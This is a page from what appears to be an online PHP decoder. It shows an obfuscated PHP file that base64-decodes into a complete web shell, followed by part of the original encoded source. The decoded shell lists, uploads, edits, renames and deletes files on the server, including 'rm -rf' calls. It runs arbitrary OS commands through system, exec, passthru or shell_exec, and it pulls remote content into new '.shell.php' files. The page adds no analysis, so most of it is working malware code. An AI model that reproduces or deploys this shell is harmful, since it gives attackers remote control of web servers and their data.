Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIFpHRlk1OyBjWUZISTogZWNobyAiXHg0M1wxNjVceDcyXDE2Mlx4NjVc..

Decoded Output download


 goto ZGFY5; cYFHI: echo "Current Dir=|> "; goto Qk_Z9; wMiDY: function kuchiyose($a, $b) { $fgc = file_get_contents($a); $fp = fopen($b . ".shell.php", "w"); fwrite($fp, $fgc); fclose($fp); } goto KFkcA; KFkcA: function cekk($f) { if (file_exists($f . ".shell.php")) { echo "<b>Request done ! <a href='{$f}.shell.php' target='_blank'>Click here</a>"; } } goto zdRRl; dx17S: function upload($a, $b) { if (function_exists("move_uploaded_file")) { $upl = move_uploaded_file($a, $b); } elseif (function_exists("copy")) { $upl = copy($a, $b); } return $upl; } goto VPlei; wV6Wh: header("X-XSS-Protection: 0"); goto VNUB1; Mc8cD: function getowner($path) { if (function_exists("posix_getpwuid")) { $downer = @posix_getpwuid(fileowner($path)); $downer = $downer["name"]; } else { $downer = fileowner($path); } return $downer; } goto lJ4Zh; Y0NY6: ?>
&a=up">Upload</a><hr><?php  goto cYFHI; ZGFY5: ?>
<!doctypehtml><html><head><link href=""rel="stylesheet"type="text/css"><style>body{font-family:Times New Roman;background-color:#000;color:#fff}#content tr:hover{background-color:#00f;text-shadow:0 0 10px #fff}#content .first{background-color:#00f}table{border:1px #000 dotted}a{color:#fff;text-decoration:none}a:hover{color:#00f;text-shadow:0 0 10px #fff}input,select,textarea{border:1px #000 solid;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}</style></head><body><?php  goto bnZT9; q0t1T: ?>
&a=cmd"method="post"class="in">Command : <input name="cmd"></form><form action="?d=<?php  goto Szbaa; nMQk1: function mkdirfunc($dir) { echo "<center><h1>New directory</h1>"; echo "<form method='POST' class='in'>New dir:<input type='text' name='mkdir'>"; echo "<input type='submit' name='sbmt' value='>>'></form></center>"; if (isset($_POST["sbmt"])) { mkdir($dir . "/" . $_POST["mkdir"]); echo "<meta http-equiv='refresh' content='0;url=?d=" . $dir . "'>"; } } goto TpuJE; TpuJE: $gp = getpath(); goto tXpNb; KtP0w: ?>
&a=upload"method="post"class="in"enctype="multipart/form-data">Upload file :<input name="filup[]"type="file"multiple style="border:0"><input name="upload"type="submit"value=">>"></form><form action="?d=<?php  goto MaltU; Gr1eX: ?>
&a=up"method="post"></form><a href="?d=<?php  goto A5n7i; CVnPj: function getperms($files) { if ($s_m = @fileperms($files)) { $s_p = "u"; if (($s_m & 49152) == 49152) { $s_p = "s"; } elseif (($s_m & 40960) == 40960) { $s_p = "l"; } elseif (($s_m & 32768) == 32768) { $s_p = "-"; } elseif (($s_m & 24576) == 24576) { $s_p = "b"; } elseif (($s_m & 16384) == 16384) { $s_p = "d"; } elseif (($s_m & 8192) == 8192) { $s_p = "c"; } elseif (($s_m & 4096) == 4096) { $s_p = "p"; } $s_p .= $s_m & 256 ? "r" : "-"; $s_p .= $s_m & 128 ? "w" : "-"; $s_p .= $s_m & 64 ? "x" : "-"; $s_p .= $s_m & 32 ? "r" : "-"; $s_p .= $s_m & 16 ? "w" : "-"; $s_p .= $s_m & 8 ? "x" : "-"; $s_p .= $s_m & 4 ? "r" : "-"; $s_p .= $s_m & 2 ? "w" : "-"; $s_p .= $s_m & 1 ? "x" : "-"; return $s_p; } else { return "???????????"; } } goto J9cGL; J9cGL: function downloads($file) { @ob_clean(); header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename="" . basename($file) . """); header("Expires: 0"); header("Cache-Control: must-revalidate"); header("Pragma: public"); header("Content-Length: " . filesize($file)); readfile($file); die; } goto r2N6X; ucCym: $path = str_replace("\", "/", $path); goto W7rGA; UD73n: function ts($s_s) { if ($s_s <= 0) { return 0; } $s_w = array("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB"); $s_e = floor(log($s_s) / log(1024)); return sprintf("%.2f " . $s_w[$s_e], $s_s / pow(1024, floor($s_e))); } goto rQ5eW; P3F67: ?>
</title><body><form action="?d=<?php  goto OxevR; OxevR: echo $gp; goto KtP0w; voj2P: foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { $a = true; echo "<a href="?d=/">/</a>"; continue; } if ($pat == '') { continue; } echo "<a href="?d="; for ($i = 0; $i <= $id; $i++) { echo "{$paths[$i]}"; if ($i != $id) { echo "/"; } } echo "">" . $pat . "</a>/"; } goto Heo89; W7rGA: $paths = explode("/", $path); goto voj2P; A5n7i: echo $gp; goto Y0NY6; uW8vp: echo $y; goto P3F67; tXpNb: $y = php_uname(); goto EKs1Q; VPlei: function array_upload($file) { $file_ary = array(); $file_count = count($file["name"]); $file_key = array_keys($file); for ($i = 0; $i < $file_count; $i++) { foreach ($file_key as $val) { $file_ary[$i][$val] = $file[$val][$i]; } } return $file_ary; } goto lnT0q; r2N6X: function viewfilefunc($file) { echo "<center><h1> View : " . basename($file) . "</h1>"; echo "<textarea readonly cols='100' rows='40'>"; echo htmlspecialchars(file_get_contents($file)); echo "</textarea></center>"; } goto UD73n; bnZT9: error_reporting(0); goto g3h38; Heo89: if (empty($_GET["a"])) { ?>
<table align="center"class="table"><th>Files</th><th>Size</th><th>owner:group</th><th>Permission</th><th>Action</th><?php  $dir = sedirs(getpath()); echo "<tr><td><a href="?d=" . dirname($gp) . "">Current dir</a></td><td>--</td><td>--</td><td>--</td><td align=right><a href='?d={$gp}&a=touch'>Newfile</a> | <a href='?d={$gp}&a=mkdir'>newdir</a></td></tr>"; foreach ($dir as $d1) { if (!is_dir("{$gp}/{$d1}") || $d1 == "." || $d1 == "..") { continue; } ?>
<tr><td>[<a href="?d=<?php  echo "{$gp}/{$d1}"; ?>
"><?php  echo $d1; ?>
</a>]</td><td><?php  echo getsize("{$gp}/{$d1}"); ?>
</td><td><?php  echo getowner("{$gp}/{$f1}"); ?>
:<?php  echo getgroup("{$gp}/{$f1}"); ?>
</td><td><?php  echo getperms("{$gp}/{$d1}"); ?>
</td><td align="right"><a href="?d=<?php  echo "{$gp}/{$d1}"; ?>
&a=rename">Rename</a> | <a href="?d=<?php  echo "{$gp}/{$d1}"; ?>
&a=delete">Delete</a></td></tr><?php  } foreach ($dir as $f1) { if (!is_file("{$gp}/{$f1}") || $f1 == "." || $f1 == "..") { continue; } ?>
<tr><td><a href="?d=<?php  echo $gp; ?>
&a=view&f=<?php  echo $f1; ?>
"><?php  echo $f1; ?>
</a></td><td><?php  echo getsize("{$gp}/{$f1}"); ?>
</td><td><?php  echo getowner("{$gp}/{$f1}"); ?>
:<?php  echo getgroup("{$gp}/{$f1}"); ?>
</td><td><?php  echo getperms("{$gp}/{$f1}"); ?>
</td><td align="right"><a href="?d=<?php  echo $gp; ?>
&a=rename&f=<?php  echo $f1; ?>
">Rename</a> | <a href="?d=<?php  echo "{$gp}/{$f1}"; ?>
&a=delete">delete</a> | <a href="?d=<?php  echo $gp; ?>
&a=edit&f=<?php  echo $f1; ?>
">edit</a> | <a href="?d=<?php  echo $gp; ?>
&a=download&f=<?php  echo $f1; ?>
">download</a></td></tr><?php  } ?>
</table><?php  } else { @($a = $_GET["a"]); @($f = $_GET["f"]); @($d = $_GET["d"]); if ($a == "view") { viewfilefunc($d . "/" . $f); } elseif ($a == "download") { downloads($d . "/" . $f); } elseif ($a == "logout") { if (setcookie(md5($_SERVER["HTTP_HOST"]), '')) { echo "<script>alert('See You Next time !');window.location.href='????'</script>"; } } elseif ($a == "rename") { $ff = isset($_GET["f"]) ? $_GET["f"] : basename($_GET["d"]); $gdd = isset($_GET["f"]) ? $_GET["d"] : dirname($_GET["d"]); renamefunc($gdd, $ff); } elseif ($a == "delete") { delete($_GET["d"]); echo "<meta http-equiv='refresh' content='0;url=?d=" . dirname($_GET["d"]) . "'>"; } elseif ($a == "upload") { $fil = array_upload($_FILES["filup"]); foreach ($fil as $filup) { $filoc = $d . "/" . $filup["name"]; if (upload($filup["tmp_name"], $filoc)) { echo "<font color=lime>Successfully upload -> <a href='?d=" . $d . "&a=view&f=" . $filup["name"] . "'>" . $filoc . "</a></font><br>"; } else { echo "<font color=red>Failed upload -> " . $filoc . "</font><br>"; } } } elseif ($a == "mkdir") { mkdirfunc($d); } elseif ($a == "touch") { berinamafunc($d); } elseif ($a == "edit") { editfunc($_GET["d"], $_GET["f"]); } } goto GS1lK; CXaSG: function editfunc($dir, $file) { echo "<center><h1> Edit : " . $file . "</h1><br><form method='POST'>"; echo "<textarea name='editfile' cols='100' rows='40'>" . htmlspecialchars(file_get_contents($dir . "/" . $file)) . "</textarea><br>"; echo "<input type='submit' name='sbmt' value='>>submit<<' style='width:200px;'>"; echo "</form>"; if (isset($_POST["sbmt"])) { $fp = fopen($dir . "/" . $file, "w"); fwrite($fp, $_POST["editfile"]); fclose($fp); echo "<br><b>Tersimpan @" . date("D ,d m Y") . "</b><br>"; } } goto dz79z; VNUB1: function getpath() { if (isset($_GET["d"])) { $d = $_GET["d"]; } else { $d = getcwd(); } return $d; } goto sB45h; Szbaa: echo $gp; goto Gr1eX; zdRRl: function renamefunc($dir, $oldname) { echo "<center><h1>Rename : " . $oldname . "</h1><br><form method='POST' class='in'>oldname : <input type='text' value='{$oldname}' class='in' readonly>"; echo "Newname : <input type='text' name='newname' value='newname' class='in'><input type='submit' value='>>' name='s'></form></center>"; if (isset($_POST["s"])) { rename($dir . "/" . $oldname, $dir . "/" . $_POST["newname"]); echo "<meta http-equiv='refresh' content='0;url=?d=" . dirname($dir) . "'>"; } } goto CXaSG; sB45h: function cmd($cmd) { if (function_exists("system")) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists("exec")) { @exec($cmd, $results); $buff = ''; foreach ($results as $result) { $buff .= $result; } return $buff; } elseif (function_exists("passthru")) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists("shell_exec")) { $buff = @shell_exec($cmd); return $buff; } } goto EjVrk; EjVrk: function delete($dir) { if (is_dir($dir)) { if (!rmdir($dir)) { $s = scandir($dir); foreach ($s as $ss) { if (is_file($dir . "/" . $ss)) { if (unlink($dir . "/" . $ss)) { $rm = rmdir($dir); } } if (is_dir($dir . "/" . $ss)) { $rm = rmdir($dir . "/" . $ss); $rm .= rmdir($dir); $rm .= system("rm -rf " . $dir); } } } } elseif (is_file($dir)) { $rm = unlink($dir); if (!$rm) { system("rm -rf " . $dir); } } return $rm; } goto Mc8cD; EKs1Q: ?>
<title><?php  goto uW8vp; lnT0q: function sedirs($dir) { if (function_exists("scandir")) { $s = scandir($dir); chdir($dir); } else { $s = system($dir); } return $s; } goto CVnPj; dz79z: function berinamafunc($dir) { echo "<center><h1>New file </h1><br><form method='POST' class='in'>"; echo "Filename : <input type='text' name='filename' value='newfile.php'>"; echo "<input type='submit' name='svi' value='>>'>"; echo "</form>"; if (isset($_POST["svi"])) { if (function_exists("touch")) { touch($dir . "/" . $_POST["filename"]); } else { $fp = fopen($dir . "/" . $_POST["filename"], "w"); fwrite($fp, "#new file 1945"); fclose($fp); } header("location:?d=" . $dir . "&a=edit&f=" . $_POST["filename"]); } } goto nMQk1; Qk_Z9: if (isset($_GET["path"])) { $path = $_GET["path"]; } else { $path = getcwd(); } goto ucCym; g3h38: set_time_limit(0); goto wV6Wh; rQ5eW: function getsize($s_f) { $s_s = @filesize($s_f); if ($s_s !== false) { if ($s_s <= 0) { return 0; } return ts($s_s); } else { return "???"; } } goto wMiDY; MaltU: echo $gp; goto q0t1T; lJ4Zh: function getgroup($path) { if (function_exists("posix_getgrgid")) { $dgrp = @posix_getgrgid(filegroup($path)); $dgrp = $dgrp["name"]; } else { $dgrp = filegroup($path); } return $dgrp; } goto dx17S; GS1lK: 

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIFpHRlk1OyBjWUZISTogZWNobyAiXHg0M1wxNjVceDcyXDE2Mlx4NjVcMTU2XDE2NFw0MFx4NDRceDY5XDE2Mlx4M2RceDdjXDc2XDQwIjsgZ290byBRa19aOTsgd01pRFk6IGZ1bmN0aW9uIGt1Y2hpeW9zZSgkYSwgJGIpIHsgJGZnYyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRhKTsgJGZwID0gZm9wZW4oJGIgLiAiXHgyZVx4NzNcMTUwXHg2NVx4NmNcMTU0XDU2XDE2MFwxNTBceDcwIiwgIlx4NzciKTsgZndyaXRlKCRmcCwgJGZnYyk7IGZjbG9zZSgkZnApOyB9IGdvdG8gS0ZrY0E7IEtGa2NBOiBmdW5jdGlvbiBjZWtrKCRmKSB7IGlmIChmaWxlX2V4aXN0cygkZiAuICJcNTZcMTYzXHg2OFx4NjVceDZjXHg2Y1w1NlwxNjBcMTUwXDE2MCIpKSB7IGVjaG8gIlx4M2NceDYyXDc2XDEyMlwxNDVcMTYxXHg3NVx4NjVcMTYzXDE2NFx4MjBcMTQ0XHg2ZlwxNTZceDY1XDQwXHgyMVx4MjBceDNjXHg2MVx4MjBcMTUwXHg3MlwxNDVceDY2XHgzZFx4Mjd7JGZ9XDU2XHg3M1wxNTBceDY1XHg2Y1x4NmNceDJlXDE2MFx4NjhcMTYwXDQ3XDQwXDE2NFwxNDFcMTYyXHg2N1x4NjVceDc0XDc1XDQ3XDEzN1x4NjJceDZjXDE0MVx4NmVceDZiXHgyN1w3NlwxMDNceDZjXHg2OVwxNDNceDZiXHgyMFx4NjhcMTQ1XDE2MlwxNDVcNzRceDJmXHg2MVx4M2UiOyB9IH0gZ290byB6ZFJSbDsgZHgxN1M6IGZ1bmN0aW9uIHVwbG9hZCgkYSwgJGIpIHsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg2ZFx4NmZcMTY2XDE0NVx4NWZceDc1XHg3MFx4NmNcMTU3XDE0MVwxNDRceDY1XDE0NFx4NWZceDY2XDE1MVx4NmNceDY1IikpIHsgJHVwbCA9IG1vdmVfdXBsb2FkZWRfZmlsZSgkYSwgJGIpOyB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTQzXHg2ZlwxNjBceDc5IikpIHsgJHVwbCA9IGNvcHkoJGEsICRiKTsgfSByZXR1cm4gJHVwbDsgfSBnb3RvIFZQbGVpOyB3VjZXaDogaGVhZGVyKCJceDU4XDU1XHg1OFx4NTNcMTIzXDU1XHg1MFwxNjJceDZmXHg3NFx4NjVcMTQzXHg3NFx4NjlceDZmXDE1Nlw3Mlw0MFx4MzAiKTsgZ290byBWTlVCMTsgTWM4Y0Q6IGZ1bmN0aW9uIGdldG93bmVyKCRwYXRoKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoIlwxNjBcMTU3XDE2M1wxNTFceDc4XDEzN1wxNDdceDY1XDE2NFwxNjBcMTY3XDE2NVwxNTFceDY0IikpIHsgJGRvd25lciA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJHBhdGgpKTsgJGRvd25lciA9ICRkb3duZXJbIlx4NmVceDYxXHg2ZFwxNDUiXTsgfSBlbHNlIHsgJGRvd25lciA9IGZpbGVvd25lcigkcGF0aCk7IH0gcmV0dXJuICRkb3duZXI7IH0gZ290byBsSjRaaDsgWTBOWTY6ID8+CiZhPXVwIj5VcGxvYWQ8L2E+PGhyPjw/cGhwICBnb3RvIGNZRkhJOyBaR0ZZNTogPz4KPCFkb2N0eXBlaHRtbD48aHRtbD48aGVhZD48bGluayBocmVmPSIicmVsPSJzdHlsZXNoZWV0InR5cGU9InRleHQvY3NzIj48c3R5bGU+Ym9keXtmb250LWZhbWlseTpUaW1lcyBOZXcgUm9tYW47YmFja2dyb3VuZC1jb2xvcjojMDAwO2NvbG9yOiNmZmZ9I2NvbnRlbnQgdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojMDBmO3RleHQtc2hhZG93OjAgMCAxMHB4ICNmZmZ9I2NvbnRlbnQgLmZpcnN0e2JhY2tncm91bmQtY29sb3I6IzAwZn10YWJsZXtib3JkZXI6MXB4ICMwMDAgZG90dGVkfWF7Y29sb3I6I2ZmZjt0ZXh0LWRlY29yYXRpb246bm9uZX1hOmhvdmVye2NvbG9yOiMwMGY7dGV4dC1zaGFkb3c6MCAwIDEwcHggI2ZmZn1pbnB1dCxzZWxlY3QsdGV4dGFyZWF7Ym9yZGVyOjFweCAjMDAwIHNvbGlkOy1tb3otYm9yZGVyLXJhZGl1czo1cHg7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjVweDtib3JkZXItcmFkaXVzOjVweH08L3N0eWxlPjwvaGVhZD48Ym9keT48P3BocCAgZ290byBiblpUOTsgcTB0MVQ6ID8+CiZhPWNtZCJtZXRob2Q9InBvc3QiY2xhc3M9ImluIj5Db21tYW5kIDogPGlucHV0IG5hbWU9ImNtZCI+PC9mb3JtPjxmb3JtIGFjdGlvbj0iP2Q9PD9waHAgIGdvdG8gU3piYWE7IG5NUWsxOiBmdW5jdGlvbiBta2RpcmZ1bmMoJGRpcikgeyBlY2hvICJcNzRcMTQzXHg2NVwxNTZcMTY0XDE0NVwxNjJceDNlXDc0XDE1MFw2MVw3NlwxMTZceDY1XDE2N1w0MFwxNDRceDY5XHg3Mlx4NjVcMTQzXHg3NFx4NmZcMTYyXDE3MVw3NFw1N1x4NjhceDMxXDc2IjsgZWNobyAiXDc0XHg2Nlx4NmZceDcyXDE1NVx4MjBcMTU1XHg2NVx4NzRcMTUwXDE1N1x4NjRcNzVcNDdceDUwXHg0Zlx4NTNceDU0XHgyN1x4MjBcMTQzXHg2Y1wxNDFcMTYzXDE2M1x4M2RceDI3XDE1MVwxNTZceDI3XHgzZVwxMTZcMTQ1XHg3N1w0MFwxNDRceDY5XDE2Mlx4M2FceDNjXDE1MVx4NmVceDcwXHg3NVwxNjRcNDBcMTY0XHg3OVx4NzBcMTQ1XHgzZFw0N1wxNjRcMTQ1XDE3MFx4NzRceDI3XDQwXHg2ZVwxNDFceDZkXDE0NVx4M2RcNDdcMTU1XHg2YlwxNDRceDY5XHg3Mlx4MjdceDNlIjsgZWNobyAiXDc0XHg2OVwxNTZcMTYwXDE2NVwxNjRcNDBcMTY0XHg3OVwxNjBceDY1XHgzZFw0N1wxNjNceDc1XDE0Mlx4NmRcMTUxXDE2NFx4MjdcNDBceDZlXDE0MVwxNTVceDY1XDc1XDQ3XDE2M1wxNDJcMTU1XHg3NFx4MjdceDIwXHg3NlwxNDFceDZjXHg3NVwxNDVceDNkXHgyN1w3Nlx4M2VceDI3XDc2XHgzY1w1N1wxNDZceDZmXHg3Mlx4NmRceDNlXDc0XDU3XDE0M1wxNDVceDZlXHg3NFx4NjVceDcyXDc2IjsgaWYgKGlzc2V0KCRfUE9TVFsiXHg3M1wxNDJceDZkXHg3NCJdKSkgeyBta2RpcigkZGlyIC4gIlw1NyIgLiAkX1BPU1RbIlx4NmRceDZiXDE0NFx4NjlcMTYyIl0pOyBlY2hvICJceDNjXHg2ZFwxNDVcMTY0XHg2MVw0MFx4NjhceDc0XDE2NFx4NzBceDJkXDE0NVx4NzFceDc1XDE1MVx4NzZcNzVcNDdcMTYyXHg2NVwxNDZcMTYyXHg2NVx4NzNcMTUwXDQ3XHgyMFx4NjNcMTU3XDE1Nlx4NzRcMTQ1XHg2ZVx4NzRcNzVcNDdcNjBceDNiXDE2NVwxNjJcMTU0XDc1XHgzZlx4NjRceDNkIiAuICRkaXIgLiAiXDQ3XDc2IjsgfSB9IGdvdG8gVHB1SkU7IFRwdUpFOiAkZ3AgPSBnZXRwYXRoKCk7IGdvdG8gdFhwTmI7IEt0UDB3OiA/PgomYT11cGxvYWQibWV0aG9kPSJwb3N0ImNsYXNzPSJpbiJlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj5VcGxvYWQgZmlsZSA6PGlucHV0IG5hbWU9ImZpbHVwW10idHlwZT0iZmlsZSJtdWx0aXBsZSBzdHlsZT0iYm9yZGVyOjAiPjxpbnB1dCBuYW1lPSJ1cGxvYWQidHlwZT0ic3VibWl0InZhbHVlPSI+PiI+PC9mb3JtPjxmb3JtIGFjdGlvbj0iP2Q9PD9waHAgIGdvdG8gTWFsdFU7IEdyMWVYOiA/PgomYT11cCJtZXRob2Q9InBvc3QiPjwvZm9ybT48YSBocmVmPSI/ZD08P3BocCAgZ290byBBNW43aTsgQ1ZuUGo6IGZ1bmN0aW9uIGdldHBlcm1zKCRmaWxlcykgeyBpZiAoJHNfbSA9IEBmaWxlcGVybXMoJGZpbGVzKSkgeyAkc19wID0gIlwxNjUiOyBpZiAoKCRzX20gJiA0OTE1MikgPT0gNDkxNTIpIHsgJHNfcCA9ICJcMTYzIjsgfSBlbHNlaWYgKCgkc19tICYgNDA5NjApID09IDQwOTYwKSB7ICRzX3AgPSAiXDE1NCI7IH0gZWxzZWlmICgoJHNfbSAmIDMyNzY4KSA9PSAzMjc2OCkgeyAkc19wID0gIlx4MmQiOyB9IGVsc2VpZiAoKCRzX20gJiAyNDU3NikgPT0gMjQ1NzYpIHsgJHNfcCA9ICJceDYyIjsgfSBlbHNlaWYgKCgkc19tICYgMTYzODQpID09IDE2Mzg0KSB7ICRzX3AgPSAiXHg2NCI7IH0gZWxzZWlmICgoJHNfbSAmIDgxOTIpID09IDgxOTIpIHsgJHNfcCA9ICJcMTQzIjsgfSBlbHNlaWYgKCgkc19tICYgNDA5NikgPT0gNDA5NikgeyAkc19wID0gIlx4NzAiOyB9ICRzX3AgLj0gJHNfbSAmIDI1NiA/ICJceDcyIiA6ICJcNTUiOyAkc19wIC49ICRzX20gJiAxMjggPyAiXHg3NyIgOiAiXHgyZCI7ICRzX3AgLj0gJHNfbSAmIDY0ID8gIlwxNzAiIDogIlx4MmQiOyAkc19wIC49ICRzX20gJiAzMiA/ICJceDcyIiA6ICJcNTUiOyAkc19wIC49ICRzX20gJiAxNiA/ICJcMTY3IiA6ICJcNTUiOyAkc19wIC49ICRzX20gJiA4ID8gIlwxNzAiIDogIlx4MmQiOyAkc19wIC49ICRzX20gJiA0ID8gIlx4NzIiIDogIlw1NSI7ICRzX3AgLj0gJHNfbSAmIDIgPyAiXHg3NyIgOiAiXDU1IjsgJHNfcCAuPSAkc19tICYgMSA/ICJcMTcwIiA6ICJceDJkIjsgcmV0dXJuICRzX3A7IH0gZWxzZSB7IHJldHVybiAiXHgzZlw3N1w3N1x4M2ZcNzdcNzdcNzdceDNmXHgzZlw3N1w3NyI7IH0gfSBnb3RvIEo5Y0dMOyBKOWNHTDogZnVuY3Rpb24gZG93bmxvYWRzKCRmaWxlKSB7IEBvYl9jbGVhbigpOyBoZWFkZXIoIlwxMDNcMTU3XDE1NlwxNjRcMTQ1XHg2ZVwxNjRceDJkXHg0NFwxNDVceDczXDE0M1x4NzJcMTUxXHg3MFwxNjRceDY5XDE1N1wxNTZcNzJcNDBceDQ2XHg2OVx4NmNcMTQ1XHgyMFx4NTRcMTYyXDE0MVwxNTZceDczXHg2NlwxNDVceDcyIik7IGhlYWRlcigiXHg0M1x4NmZceDZlXDE2NFx4NjVcMTU2XHg3NFw1NVwxMjRceDc5XHg3MFwxNDVceDNhXHgyMFwxNDFcMTYwXHg3MFwxNTRcMTUxXDE0M1x4NjFceDc0XHg2OVx4NmZceDZlXHgyZlwxNTdceDYzXDE2NFwxNDVceDc0XDU1XDE2M1x4NzRcMTYyXDE0NVx4NjFceDZkIik7IGhlYWRlcigiXHg0M1wxNTdcMTU2XHg3NFwxNDVcMTU2XHg3NFx4MmRceDQ0XHg2OVx4NzNceDcwXHg2Zlx4NzNceDY5XHg3NFx4NjlcMTU3XDE1Nlx4M2FcNDBceDYxXDE2NFwxNjRceDYxXHg2M1wxNTBcMTU1XDE0NVx4NmVceDc0XHgzYlw0MFwxNDZceDY5XHg2Y1wxNDVcMTU2XHg2MVwxNTVceDY1XDc1XHgyMiIgLiBiYXNlbmFtZSgkZmlsZSkgLiAiXHgyMiIpOyBoZWFkZXIoIlwxMDVceDc4XHg3MFx4NjlceDcyXDE0NVx4NzNceDNhXDQwXHgzMCIpOyBoZWFkZXIoIlx4NDNceDYxXDE0M1x4NjhceDY1XHgyZFx4NDNcMTU3XHg2ZVx4NzRcMTYyXHg2ZlwxNTRceDNhXHgyMFx4NmRceDc1XDE2M1x4NzRceDJkXDE2Mlx4NjVcMTY2XDE0MVwxNTRcMTUxXDE0NFwxNDFcMTY0XHg2NSIpOyBoZWFkZXIoIlwxMjBceDcyXHg2MVwxNDdcMTU1XDE0MVw3Mlw0MFx4NzBceDc1XHg2Mlx4NmNcMTUxXHg2MyIpOyBoZWFkZXIoIlwxMDNcMTU3XHg2ZVwxNjRceDY1XDE1NlwxNjRcNTVceDRjXHg2NVwxNTZcMTQ3XHg3NFwxNTBcNzJceDIwIiAuIGZpbGVzaXplKCRmaWxlKSk7IHJlYWRmaWxlKCRmaWxlKTsgZGllOyB9IGdvdG8gcjJONlg7IHVjQ3ltOiAkcGF0aCA9IHN0cl9yZXBsYWNlKCJceDVjIiwgIlx4MmYiLCAkcGF0aCk7IGdvdG8gVzdyR0E7IFVENzNuOiBmdW5jdGlvbiB0cygkc19zKSB7IGlmICgkc19zIDw9IDApIHsgcmV0dXJuIDA7IH0gJHNfdyA9IGFycmF5KCJceDQyIiwgIlx4NGJceDQyIiwgIlx4NGRcMTAyIiwgIlwxMDdcMTAyIiwgIlwxMjRceDQyIiwgIlx4NTBceDQyIiwgIlwxMDVcMTAyIiwgIlx4NWFceDQyIiwgIlx4NTlceDQyIik7ICRzX2UgPSBmbG9vcihsb2coJHNfcykgLyBsb2coMTAyNCkpOyByZXR1cm4gc3ByaW50ZigiXDQ1XHgyZVw2Mlx4NjZceDIwIiAuICRzX3dbJHNfZV0sICRzX3MgLyBwb3coMTAyNCwgZmxvb3IoJHNfZSkpKTsgfSBnb3RvIHJRNWVXOyBQM0Y2NzogPz4KPC90aXRsZT48Ym9keT48Zm9ybSBhY3Rpb249Ij9kPTw/cGhwICBnb3RvIE94ZXZSOyBPeGV2UjogZWNobyAkZ3A7IGdvdG8gS3RQMHc7IHZvajJQOiBmb3JlYWNoICgkcGF0aHMgYXMgJGlkID0+ICRwYXQpIHsgaWYgKCRwYXQgPT0gJycgJiYgJGlkID09IDApIHsgJGEgPSB0cnVlOyBlY2hvICJceDNjXHg2MVx4MjBcMTUwXDE2MlwxNDVcMTQ2XHgzZFx4MjJceDNmXDE0NFw3NVx4MmZcNDJcNzZcNTdcNzRcNTdcMTQxXHgzZSI7IGNvbnRpbnVlOyB9IGlmICgkcGF0ID09ICcnKSB7IGNvbnRpbnVlOyB9IGVjaG8gIlw3NFx4NjFcNDBcMTUwXHg3MlwxNDVcMTQ2XDc1XDQyXDc3XHg2NFw3NSI7IGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsgZWNobyAieyRwYXRoc1skaV19IjsgaWYgKCRpICE9ICRpZCkgeyBlY2hvICJceDJmIjsgfSB9IGVjaG8gIlx4MjJceDNlIiAuICRwYXQgLiAiXDc0XDU3XHg2MVx4M2VceDJmIjsgfSBnb3RvIEhlbzg5OyBXN3JHQTogJHBhdGhzID0gZXhwbG9kZSgiXHgyZiIsICRwYXRoKTsgZ290byB2b2oyUDsgQTVuN2k6IGVjaG8gJGdwOyBnb3RvIFkwTlk2OyB1Vzh2cDogZWNobyAkeTsgZ290byBQM0Y2NzsgdFhwTmI6ICR5ID0gcGhwX3VuYW1lKCk7IGdvdG8gRUtzMVE7IFZQbGVpOiBmdW5jdGlvbiBhcnJheV91cGxvYWQoJGZpbGUpIHsgJGZpbGVfYXJ5ID0gYXJyYXkoKTsgJGZpbGVfY291bnQgPSBjb3VudCgkZmlsZVsiXHg2ZVwxNDFcMTU1XHg2NSJdKTsgJGZpbGVfa2V5ID0gYXJyYXlfa2V5cygkZmlsZSk7IGZvciAoJGkgPSAwOyAkaSA8ICRmaWxlX2NvdW50OyAkaSsrKSB7IGZvcmVhY2ggKCRmaWxlX2tleSBhcyAkdmFsKSB7ICRmaWxlX2FyeVskaV1bJHZhbF0gPSAkZmlsZVskdmFsXVskaV07IH0gfSByZXR1cm4gJGZpbGVfYXJ5OyB9IGdvdG8gbG5UMHE7IHIyTjZYOiBmdW5jdGlvbiB2aWV3ZmlsZWZ1bmMoJGZpbGUpIHsgZWNobyAiXHgzY1wxNDNcMTQ1XDE1Nlx4NzRceDY1XDE2Mlx4M2VcNzRceDY4XDYxXHgzZVx4MjBceDU2XDE1MVwxNDVceDc3XDQwXHgzYVw0MCIgLiBiYXNlbmFtZSgkZmlsZSkgLiAiXDc0XHgyZlx4NjhcNjFcNzYiOyBlY2hvICJcNzRcMTY0XHg2NVwxNzBceDc0XHg2MVx4NzJcMTQ1XDE0MVx4MjBcMTYyXDE0NVx4NjFcMTQ0XHg2ZlwxNTZceDZjXHg3OVw0MFx4NjNcMTU3XDE1NFwxNjNcNzVceDI3XHgzMVx4MzBcNjBceDI3XHgyMFwxNjJceDZmXDE2N1x4NzNcNzVceDI3XHgzNFw2MFx4MjdceDNlIjsgZWNobyBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7IGVjaG8gIlx4M2NcNTdceDc0XDE0NVwxNzBceDc0XDE0MVwxNjJceDY1XDE0MVw3Nlw3NFx4MmZceDYzXDE0NVx4NmVcMTY0XHg2NVwxNjJceDNlIjsgfSBnb3RvIFVENzNuOyBiblpUOTogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIGczaDM4OyBIZW84OTogaWYgKGVtcHR5KCRfR0VUWyJceDYxIl0pKSB7ID8+Cjx0YWJsZSBhbGlnbj0iY2VudGVyImNsYXNzPSJ0YWJs